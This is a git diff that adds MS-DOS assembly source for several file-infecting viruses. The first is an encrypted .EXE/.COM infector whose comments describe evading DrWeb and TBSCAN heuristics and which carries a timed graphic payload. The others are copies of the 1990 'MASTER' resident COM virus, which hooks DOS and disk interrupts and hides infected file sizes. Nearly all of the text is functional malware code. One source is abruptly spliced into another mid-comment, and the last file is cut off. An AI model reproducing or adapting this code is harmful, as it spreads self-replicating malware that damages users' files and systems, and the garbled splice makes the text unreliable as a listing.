+;--------------------infection--------------------- +; +call infecte +; +;----------write new header of the infected file on disk--------------------- +; +mov ax, 4200h +push ax ;this stupid push/pop +pop ax ;to avoid DrWeb heuristic +xor cx, cx +xor dx, dx +int 21h ;pointer at start of file on disk + +mov cx, 1Ch +lea dx, [bp+exehead] +call ecrit_fichier ;write on disk modified header +; +;----------restore time/date of the file-------------------- +; +call restaure_time +; +;----------close file and restore file attributes---------------------- +; +call remise_en_etat +; +;--------verify how many .exe files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_exe] ;counter in cl +inc cl ;one more +cmp cl, 3 ;we infect 3? +je bombe_ou_pas ;yes => let's stop infections +mov byte ptr [bp+offset compteur_exe], cl ;no => write counter +; +;--------let's infect a new .exe file------------------ +; +jmp exe_suivant ;go infect next file +; +;--------------------does the bomb explode?--------------------- +; +bombe_ou_pas: +mov ah, 2Ch ;internal clock: ch=hour et cl=minute +int 21h +cmp cl, 30d ;minutes = 30? +jne redonne_main ;no => return to host +cmp dh, 30d ;yes => test seconds +ja redonne_main ;if secondes > 30 we return to host +jmp bombe ;if seconds <30 (1/120) the bomb explodes + +;********************************************************************** +; RETURN TO HOST +;********************************************************************** + +redonne_main: + +;------------------DTA in the normal zone----------------------------- +; (to avoid perturbing host program) +; +push 1a00h ;push/pop +pop ax ;to avoid flag F +mov dx, 80h ;to 80h, the normal zone +int 21h +; +;--------restore the directory in which we were when we started----------- +; +lea dx, [bp+offset repert] +mov ax, 3B00h ;3bh=change directory +int 21h +; +;-----------active host is a .com or a .exe?------------------- +; +cmp byte ptr cs:0, 0CDh ;a .com file have an Int20h +je redonne_main_com ;(word CD 20) at offset 0 +; +;-------------return to an .exe--------------------------- +; +redonne_main_exe: + +pop ds ;remember the very first push ds +push ds +pop es ;get es=ds + +mov ax, es +add ax, 10h +add word ptr cs:[bp+vCS], ax +cli +add ax, word ptr cs:[bp+vSS] ;adjust stack pointers +mov ss, ax +mov sp, word ptr cs:[bp+vSP] +sti +jmp retour_au_prog + +cinq_octets: +pip db 90h,90h ;zone to keep file information +pcs db 90h,90h ;EXE: keep ip, cs, ss, sp +pss db 90h,90h ;COM: keep 5 first bytes +psp db 90h,90h + +retour_au_prog: +db 0EAh ;far jump opcode, for .exe +contenu: +vIP dw 0 ;zone to keep temporarly file info +vCS dw 0 ;EXE: keep ip, cs, ss, sp +vSS dw 0 ;COM: keep 5 first bytes +vSP dw 0 +; +;-----------------------return to a .com--------------------------- +; +redonne_main_com: +pop ax ;clean stack (remember first push ds) +; +;---------replace 5 first bytes of the host in memory---------- +; +lea si, [bp+offset contenu] ;memory zone where they are +mov ax, 101h ;this is to +dec ax ;avoid flag B in TBSCAN +mov di, ax ;a .com start at offset 100h +movsw +movsw +movsb ;move 5 bytes +; +;-----------------------return to host---------------------------- +; (remember the very first CALL: we have 103h on the stack) +; +redonner_la_main: +pop ax ;get 103h +sub ax, 3 ;we want 100h +push ax ;re-put it on stack (for the RET) +xor ax, ax ;a starting program +xor bx, bx ;likes to find all +xor cx, cx ;registers equals +xor dx, dx ;to zero +ret ;return to normal program + +;********************************************************************** +; CHANGE DIRECTORY +;********************************************************************** + +; +;----------climb to upper directory-------------------------- +; +rep_sup: +lea dx, [bp+offset dot] ;let's go to ".." repertory +mov ah, 3bh +int 21h ;are we in the root? +jc on_redescend ;yes => c=1, let's go down now +jmp recherche ;no => find first file +; +;---if we are in root, let's go to all "first-level" subdirectories------- +; +on_redescend: +mov ah, 4eh ;find first file +mov cx, 16 ;with directory attribute +lea dx, [bp+offset dir_masque] ;called "*.*" +int 21h ;one found? +jnc contin ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin: + +cmp byte ptr[bp+offset phase], 0 ;how is the dir counter (called phase)? +je le_premier ;phase=0 => do not find next dir + +xor bh, bh +mov bl, byte ptr [bp+offset phase] ;bx=phase + +rep_suivant: ;loop to avoid all subdir already infected +mov cx, 16 ;directory attributes +mov ah, 4fh ;find next dir +int 21h ;one found? +jnc contin2 ;yes => continue +jmp bombe_ou_pas ;no => test time for the bomb +contin2: + +cmp byte ptr [bp+offset dta+15h], 16 ;is it really a directory? +jne rep_suivant ;no => find next + +dec bx ;this routine is made to infect +cmp bx, 0 ;directory "number phase" +jne rep_suivant ;if bx<>0, the subdir is already infected + +le_premier: +add byte ptr[bp+offset phase], 1 ;OK, we are on a subdir not infected + +lea dx, [bp+offset dta+1eh] ;so, let's change +mov ah, 3bh ;directory to it +int 21h + +jmp recherche ;and infect this new subdirectory + +;********************************************************************** +; ROUTINE OFTEN USED (to save bytes) +;********************************************************************** + +;-------------------verify extension------------------------- + +verifie_extension: +mov cx, 13d ;max size of a file name (not really, but +lea si, [bp+offset dta+1eh] ;who cares? I've stolen this routine somewhere) +compare: ;loop for detecting start of the extension +lodsb ;letter in al +cmp al, "." ;is it a point? +jne compare ;no => test next letter +inc si ;yes => si points on second extension letter +ret + +;------------------change crypting key--------------- + +change_clef: +mov ah, 2Ch ;internal clock +int 21h ;cx get quite randomic +mov [bp+offset clef], cl ;let's keep it somewhere +ret + +;------------------------open file------------------------- + +ouvre_et_verif_header: +mov ax, 3D02h ;3D02h=open file +lea dx, [bp+offset dta+1eh] ;name of the file in DTA +int 21h +jnc saut2 ;one file found, c=0, continue +jmp remise_en_etat ;not found => arrange file +saut2: ;continue +mov [bp+offset handle],ax ;keep handle in memory +; +;----------------read first 1Ch bytes of the file----------------- +; +xchg ax, bx ;handle in ax +mov cx, 1Ch ;number of bytes to read +mov ax, 3F00h ;3F=read file +lea dx, [bp+offset exehead] ;dx on stockage zone +int 21h +jnc saut3 ;no problem, c=0, continue +jmp remise_en_etat ;problem => arrange file +saut3: ; continue +; +;-----------is the file already infected?------------- +; +cmp byte ptr [bp+offset exehead+18h], 40h ;is it a windows file? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+3], "ee" ;.com already infected? +jz deja_infecte ;yes => don't touch +cmp word ptr [bp+offset exehead+12h], "ee" ;.exe already infected? +jnz saut4 ;no => continue +deja_infecte: +jmp remise_en_etat ;let's arrange the file +saut4: ;continue +; +;--------------------is the size correct?------------------- +; +cmp [bp+offset dta+1ah], 500 ;do not infect if file<500 bytes +ja verif_ok ;it's OK +; +;--------arrange file and close it in case of non-infection----------- +; +remise_en_etat: +mov ah, 3Eh ;3Eh=close file +int 21h +; +;-----------------restore file attributes----------------------- +; +call restaure_attrib ;restore attributes +; +;------after arranging the file, let's go back to the CALL------- +; +ret +; +;----------------------if it's good to infect,------------------- +; let's go back one instruction after the call +; +verif_ok: +pop ax ;get offset of the return on the stack +add ax, 2 ;add 2 (size of a short JMP) +push ax ;put it back on the stack +ret ;return 2 bytes after the call + +;-----------------------------infection-------------------------- + +;first, let's write non-encrypted part + +infecte: +mov cx, debut_cryptage - virus ;size of non-encrypted part +lea dx, [bp+offset virus] ;dx on beginning of this part +call ecrit_fichier ;write this on disk + +;second, let's crypt next part in memory + +mov dl, [bp+offset clef] ;dl=new key +lea si, [bp+offset debut_cryptage] ;si=start of crypted zone +lea di, [bp+offset zone_de_travail] ;di=temp memory zone for crypting +mov cx, fin_cryptage - debut_cryptage ;cx=number of bytes to crypt +crypte_et_transfere: ;the loop +lodsb ;get original byte +xor al, dl ;crypt it +stosb ;put it on memory +loop crypte_et_transfere ;again + +;third, disk writing of the crypted zone + +mov cx, fin_cryptage - debut_cryptage ;number of bytes to write +lea dx, [bp+offset zone_de_travail] ;dx=offset of the temp zone +call ecrit_fichier ;write it on disk +ret + +;-------------------modify attributes------------------------- + +attrib_a_zero: +xor cx, cx ;if we want to put attrib to zero +jmp suite_attrib + +restaure_attrib: +xor ch, ch ;if we want to restore attrib +mov cl, byte ptr [bp+offset dta+15h] ;from the DTA value + +suite_attrib: +lea dx, [bp+offset dta+1eh] ;file name +push 4301h ;43h=change attribs +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;---------------------restore file time/date----------------------- + +restaure_time: +mov dx, word ptr [bp+offset dta+18h] ;date from DTA to dx +mov cx, word ptr [bp+offset dta+16h] ;time from DTA to cx +push 5701h ;5701h=change time/date +pop ax ;avoid flag F from TBSCAN +int 21h +ret + +;------------------write file on disk---------------------- + +ecrit_fichier: +push 4000h ;the famous 40Hex... push/pop to +pop ax ;avoid DrSolomon and DrWeb heuristic +int 21h +ret + +;--------------------move pointer on disk--------------------------- + +pointeur_debut: ;to put pointer at the beginning +xor dx, dx +pointeur_debut_sans_dx: ;i think i don't use this... never mind +xor cx, cx +mov ax, 4200h ;42h=move disk pointer +push ax ;stupid push/pop to avoid +pop ax ;DrWeb heuristic +int 21h +ret + +;********************************************************************** +; CODE OF THE GRAPHIC BOMB: A 3D VOXEL EFFECT +;********************************************************************** +bombe: +largeur equ 128 ;size of the grid + +;-------------------------VGA------------------------------- + +mov ax, 13h +int 10h + +;----------------------black palette-------------------------------- +; because mountains are calculated directly on screen) + +mov dx, 3c8h ;dx = palette port +xor al, al ;start with color 0 +out dx, al ;write first color in the port +inc dx ;define all others colors +mov cx, 768 ;256 colors x 3 composantes, all at zero +tout_noir: +out dx, al ;write black on port +loop tout_noir + +;---------draw to an area of the screen some big blocks---------- +; area used: 50 lines x 128 columns on the left top + +mov ax, 0A000h ;video memory +mov es, ax ;in es +mov cx, 150 ;number of blocks +boucle: + mov ax, [bp+offset aleat] + mov dx, 8405h ;semi-random routine stolen + mul dx ;in a fire demo + inc ax ;give a random dx + mov [bp+offset aleat], ax +push dx ;dl = random byte for the line +shr dl, 1 ;now 041 +ja pas_pixel ;we don't draw it +cmp dl, 5 ;if dl<5 +jb pas_pixel ;we don't draw it +mov ax, 320 ;calculation of video offset +xor dh, dh ;we have to multiply just dl +mul dx ;by 320 +pop dx ;dh = random byte for the column +cmp dh, 112 ;if dh>112 +ja pas_pixel ;we don't draw it +cmp dh, 8 ;if dh<8 +jb pas_pixel ;we don't draw it +xor dl, dl ;we have to multiply just dh +xchg dl, dh ;we put it in dl +add ax, dx ;let's add line*320 and column => random place +xchg di, ax ;this random offset in di +mov al, 255 ;big blocks are in color 255 +push cx ;save loop counter +mov bl, 4 ;blocks are 4 pixels tall +gros_pixel: +mov cx, 10 ;blocks are 10 pixels wide +rep stosb ;write them on screen... +add di, 310 +dec bl +jne gros_pixel +pop cx +pas_pixel: +loop boucle + +;-----soften blocks to get mountains, by a immobile fire effect---------- + +;here es=video +mov ax, cs ;get cs +add ah, 16 ;add to it 256*16 bytes to get ds +mov ds, ax ;ds now points on a free segment (i hope so :) +push ds ;on the stack (cf [@@] later) + +mov bl, 25 ;bl = number of degradation cycles +cycle: +xor si, si ;ds:si=free segment +xor di, di ;es:di=video +xor ax, ax +mov cx, 50*320 ;we degrade on 50 first lines of the screen +degrade: +mov al, es:[di-1] +add al, es:[di+1] +adc ah,0 +add al, es:[di+320] ;sum all pixels colors around offset di +adc ah,0 +add al, es:[di-320] +adc ah,0 +shr ax, 1 +shr ax, 1 ;divide this color by 4, so it's the average +je pas_dec ;if color=0, color stays to 0 +dec al ;on other case, we decrement color +pas_dec: +mov byte ptr ds:[si], al ;new color value in free segment +inc si +inc di +loop degrade ;loop for all the 50x128 area + +xor si, si ;one degradation cycle finished: +xor di, di ;we copy all the area +mov cx, (50*320)/2 ;from the free segment +rep movsw ;to video memory + +dec bl ;one cycle more +jne cycle ;25 cycles? No => again + + ;we now have on the screen (but we can't see it + ;because all is black) soft spots, this is the + ;landscape in 2D + +;--------------creation of the 3D table (x,y,z)------------------------ +; from the 2D landscape on screen; this table is +; 128x50x(1+1+2) = 25 Ko, this is why we need one free segment + +;here es=video ds=free segment +push es ;we want ds=video et es=free segment +push ds +pop es +pop ds + +mov cx, largeur*50+2 ;there will be 128x50 coordinates (+2 for security) +xor si, si ;start of video memory +xor di, di ;start of free segment +mov dl, 128 ;we need a line counter +table: + +mov ah, dl ;the X (left/right): between 0 and 128 +shl ah, 1 ;now between 0 and 256 +mov al, 128 +sub al, ah ;now between -128 and +128 +stosb ;put it on free segment + +movsb ;the Y (top/bottom) is directly the pixel color +dec dl ;see if we are at the end of the line +jne pas_fin_de_ligne ;if dl<>0 we are not +mov dl, 128 ;if dl=0 the line counter is re-put to 128 +add si, 320-largeur ;and the video offset go to next line +pas_fin_de_ligne: + +mov ax, cx ;the Z (near/far): between 0 and 50*128 +shl ax, 1 ;now between 0 and 50*256 +xor al, al ;we just need ah (between 0 and 50) +xchg ah, al ;put it on al +shl al, 1 ;now between 0 and 100 +shl al, 1 ;now between 0 and 200 +add ax, 0080h ;now between 128 and 328 (nearest Z will be 128) +stosw ;put it on free segment +loop table ;calculate all table + +;------------------delete the 2D landscape------------------------ + +;here ds=video es=free segment +push ds +pop es +xor di, di ;from the beginning of screen +mov cx, (320*50)/2 ;delete all the 50 lines +xor ax, ax ;with words=0, faster than bytes +rep stosw ;delete all + +;---------put text cursor at good coordinates on screen----------------- + +mov dx, 030Ah ;dh, dl = line/column coordinates +xor bh, bh ;on page 0 +mov ah,02h ;int BIOS 02h=put cursor +int 10h + +;--------------write the 2 text messages------------------------- + +;ici ds=es=video +push cs +pop ds +lea si, [bp+offset message] ;si points on message +mov cx, 21 ;message length +affiche_message: + lodsb ;get letter + mov bl, 125 ;color=red + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_message + +add dx, 507 ;adjust coordinates for second message +mov ah, 02h ;int BIOS 02h=put cursor +int 10h +lea si, [bp+offset messag2] ;si points on message +mov cx, 32 ;message length +affiche_messag2: + lodsb ;get letter + mov bl, 50 ;color=yellow + mov ah, 0Eh ;int BIOS OEh=write one letter + int 10h +loop affiche_messag2 + +;------------------adjust martian palette---------------------------- + + mov dx, 3c8h ;dx = palette port + xor al, al ;start with color 0 + out dx, al ;write first color in port + inc dx ;define all other colors + + xor cx, cx ;starts with black +rouges: + mov al, cl + out dx, al ;loop to define all 63 first colors + xor ax, ax ;with a growing red + out dx, al + out dx, al +inc cl +cmp cl, 63 +jne rouges + + xor cx, cx +jaunes: + mov al, 63 + out dx, al + mov al, cl ;loop to define 63 next colors + out dx, al ;with a growing green + xor al, al + out dx, al + inc cx + cmp cx, 63 +jne jaunes + + +;-------------------animation of the landscape------------------------ + +;here ds=cs, es=video +pop ds ;ds points to free segment [@@] see above +anime: ;get here when one screen is totally drawn +mov cx, largeur*50 ;we will draw 50x128 voxels +xor si, si ;ds:si=where 3D coordinates are (free seg) +xor di, di ;es:di=video +dessine: ;get here when one voxel is drawn +lodsb ;put X in al +xchg dl, al ;transfer it in dl +lodsb ;put Y in al +xchg bl, al ;transfer it in bl +mov byte ptr bh, ds:[si+3+4] ;put NEXT_Y (for the shadow effect) in bh +lodsw ;put Z in ax +mov word ptr cs:[bp+offset z], ax ;not enough registers: put Z in memory +cmp ax, 0080h ;is the voxel at the nearest limit? +ja ca_sort_pas ;no => it can advance more +add ax, 200 ;yes => return at the farest limit +ca_sort_pas: +dec ax ;it advances: the Z decrements +mov word ptr ds:[si-2], ax ;and we write this new Z as new coordinate + +;------calculate xx and yy (2D screen) from x, y and z (3D space)------ +; by a perspective effect +; (remember: X is in dl, Y in bl, Z in its memory location) + +push cx ;we will need cx here, so save it on stack +xchg ah, dl ;X coordinate from dl to ah +cmp ah, 128 ;X positive? +jb suite5 ;yes => no problem +neg ah ;no => let's "positive" it +mov byte ptr cs:[bp+offset signe],1 ;and let's remember it was negative +suite5: ;NB: calculations are in "fixed point" mode +xor al, al ;X is in ah: same "order" than Z (word) +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;X/Z +push ax ;result is the 2D coordinate (XX), push it + +mov al, bl ;Y coordinate from bl to al +mov cl, 4 ;divise Y/16 to have a mountain height +shr al, cl ;between 0 and 16 +mov ah, 80 ;beware: mountains are "top on bottom" +sub ah, al ;level 0 = altitude 80, so soustraction + ;('cause in VGA 0,0 = top left) +xor al, al ;"fixed point" mode: Y is now in ah +xor dx, dx ;dx will not fuck up the division +div word ptr cs:[bp+offset z] ;Y/Z +xchg cx, ax ;the result is the 2D coordinate (YY) + +;---------------calculate video offset of the voxel------------------- +; (remember: XX is on stack and YY is in CX) + +pop dx ;get XX +cmp cx, 142 ;do not write voxel if too at bottom +ja pas_plot +cmp dx, 155 ;do not write voxel if too on the side +ja pas_plot + +push dx ;put again XX on stack +mov ax, 320 ;we gonna calculate voxel video offset +mul cx ;multiply YY by 320 +pop dx ;get XX +cmp byte ptr cs:[bp+offset signe], 1 ;are X and so XX negatives? +jne pos +sub ax, dx ;yes => offset is ax - XX +mov byte ptr cs:[bp+offset signe], 0 ;and we can forget this sign now +jmp suite4 +pos: +add ax, dx ;no => offset is ax + XX + +suite4: +add ax, (320*60)+160 ;to put the animation at screen bottom + +;--------calculate voxel color (with 2 shadow effects)------------------ + +;first shadow effect, depends on curvature of mountain sides + +mov di, ax ;ax is video offset of the voxel +xchg ax, bx ;remember: bx contains Y et NEXT_Y +sub al, ah ;shadow will depend on NEXT_Y - Y; can +add al, 100 ;be >0 (one side of the mountain) + ;or <0 (other side), so add an + ;average value + +;if voxel is too far, put it black + +mov word ptr bx, cs:[bp+offset z] ;now bx=Z (remember 128 OK, write it +xor al, al ;yes => write a black voxel instead +pas_eteindre: + +;second shadow effect: the farest, the darkest + +shr bx, 1 ;now 64 DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + + +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End.--- diff --git a/m/MASTER3.ASM b/m/MASTER3.ASM new file mode 100755 index 0000000..4570e8e --- /dev/null +++ b/m/MASTER3.ASM @@ -0,0 +1,308 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + xchg ax,dx + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change attrib !!! + pop cx + and cx,0feh ; clear r/o and CH + or cl,0c0h ; set Infect. attr + int 0ffh + + mov ax,03d02h ; open + int 0ffh ; int 21h + xchg ax,bx + + push cs + pop ds + + mov ah,03fh + mov cx,3 + mov dx,offset first + int 0ffh + + mov ax,04202h ; move fp to EOF + xor dx,dx + mov cx,dx + int 0ffh + mov word ptr cal_ofs+1,ax + + mov ah,040h + mov cx,len + mov dx,ofs + int 0ffh + jc not_inf + + mov ax,04200h + xor dx,dx + mov cx,dx + int 0ffh + + mov ah,040h + mov cx,3 + mov dx,offset cal_ofs + int 0ffh + +not_inf: mov ax,05701h + pop dx ; date + pop cx ; time + int 0ffh + + mov ah,03eh ; close + int 0ffh + + les ax,dword ptr i13adr + mov [4ch],ax ; int 13h + mov [4eh],es + +last: add sp,46 + pop dx + pop ds ; restore DTA + mov ah,1ah + int 0ffh + +rest: pop dx ; restore current drive + mov ah,0eh ; + int 0ffh ; + + pop es + pop bx + pop cx + pop ds + pop dx + pop ax + +i21cl: iret ; Return from INT FC + +i24pr: mov al,3 ; Critical errors + iret + +i13pr: cmp ah,3 + jne no + inc byte ptr cs:activ + dec ah +no: jmp dword ptr cs:i13adr + +pr7b4: db 2eh,0d0h,2eh + dw offset activ +; shr cs:activ,1 + jnc ex7b0 + inc ah +ex7b0: jmp dword ptr cs:[7b0h] + +;-------- + +file: db "*",32,".COM" + +activ: db 0 + + dw offset i21pr ; int 0fch + dw 0 + +cal_ofs: db 0e8h + +end: + dw ? ; cal_ofs + +i13adr: dw ? + dw ? + + +; The End. \ No newline at end of file diff --git a/m/MASTER31.ASM b/m/MASTER31.ASM new file mode 100755 index 0000000..43f92cb --- /dev/null +++ b/m/MASTER31.ASM @@ -0,0 +1,308 @@ +; (C) Copyright VirusSoft Corp. Sep., 1990 +; +; This is the SOURCE file of last version of MASTER,(V500),(MG) ect. +; virus, distributed by VirusSoft company . First version was made +; in May., 1990 . Please don't make any corections in this file ! +; +; Bulgaria, Varna +; Sep. 27, 1990 + + + + ofs = 201h + len = offset end-ofs + + call $+6 + + org ofs + +first: dw 020cdh + db 0 + + pop di + dec di + dec di + mov si,[di] + dec di + add si,di + push cs + push di + cld + movsw + movsb + xchg ax,dx + + mov ax,4b04h + int 21h + jnc residnt + + xor ax,ax + mov es,ax + mov di,ofs+3 + mov cx,len-3 + rep movsb + + les di,[6] + mov al,0eah + dec cx + repne scasb + les di,es:[di] ; Searching for the INT21 vector + sub di,-1ah-7 + + db 0eah + dw offset jump,0 ; jmp far 0000:jump + +jump: push es + pop ds + mov si,[di+3-7] ; + lodsb ; + cmp al,68h ; compare DOS Ver + mov [di+4-7],al ; Change CMP AH,CS:[????] + mov [di+2-7],0fc80h ; + mov [di-7],0fccdh ; + + push cs + pop ds + + mov [1020],di ; int 0ffh + mov [1022],es + + mov beg-1,byte ptr not3_3-beg + jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30 + mov beg-1,byte ptr 0 + mov [7b4h],offset pr7b4 + mov [7b6h],cs ; 7b4 + +not3.3: mov al,0a9h ; Change attrib +cont: repne scasb + cmp es:[di],0ffd8h + jne cont + mov al,18h + stosb + + push ss + pop ds + + push ss + pop es + +residnt: xchg ax,dx + retf ; ret far + +;--------Interrupt process--------; + +i21pr: push ax + push dx + push ds + push cx + push bx + push es + +if4b04: cmp ax,4b04h + je rti + + xchg ax,cx + mov ah,02fh + int 0ffh + +if11_12: cmp ch,11h + je yes + cmp ch,12h + jne inffn +yes: xchg ax,cx + int 0ffh + push ax + test es:byte ptr [bx+19],0c0h + jz normal + sub es:[bx+36],len +normal: pop ax +rti: pop es + pop bx + pop cx + add sp,12 + iret + +inffn: mov ah,19h + int 0ffh + push ax + +if36: cmp ch,36h ; -free bytes + je beg_36 +if4e: cmp ch,4eh ; -find first FM + je beg_4b +if4b: cmp ch,4bh ; -exec + je beg_4b +if47: cmp ch,47h ; -directory info + jne if5b + cmp al,2 + jae begin ; it's hard-disk +if5b: cmp ch,5bh ; -create new + je beg_4b +if3c_3d: shr ch,1 ; > -open & create + cmp ch,1eh ; - + je beg_4b + + jmp rest + +beg_4b: mov ax,121ah + xchg dx,si + int 2fh + xchg ax,dx + xchg ax,si + +beg_36: mov ah,0eh ; change current drive + dec dx ; + int 0ffh ; + +begin: + push es ; save DTA address + push bx ; + sub sp,44 + mov dx,sp ; change DTA + push sp + mov ah,1ah + push ss + pop ds + int 0ffh + mov bx,dx + + push cs + pop ds + + mov ah,04eh + mov dx,offset file + mov cx,3 ; r/o , hidden + int 0ffh ; int 21h + jc lst + +next: test ss:[bx+21],byte ptr 80h + jz true +nxt: mov ah,4fh ; find next + int 0ffh + jnc next +lst: jmp last + +true: cmp ss:[bx+27],byte ptr 0fdh + ja nxt + mov [144],offset i24pr + mov [146],cs + + les ax,[4ch] ; int 13h + mov i13adr,ax + mov i13adr+2,es + jmp short $ +beg: mov [4ch],offset i13pr + mov [4eh],cs + ; +not3_3: push ss + pop ds + push [bx+22] ; time + + push [bx+24] ; date + + push [bx+21] ; attrib + + lea dx,[bx+30] ; ds : dx = offset file name + mov ax,4301h ; Change 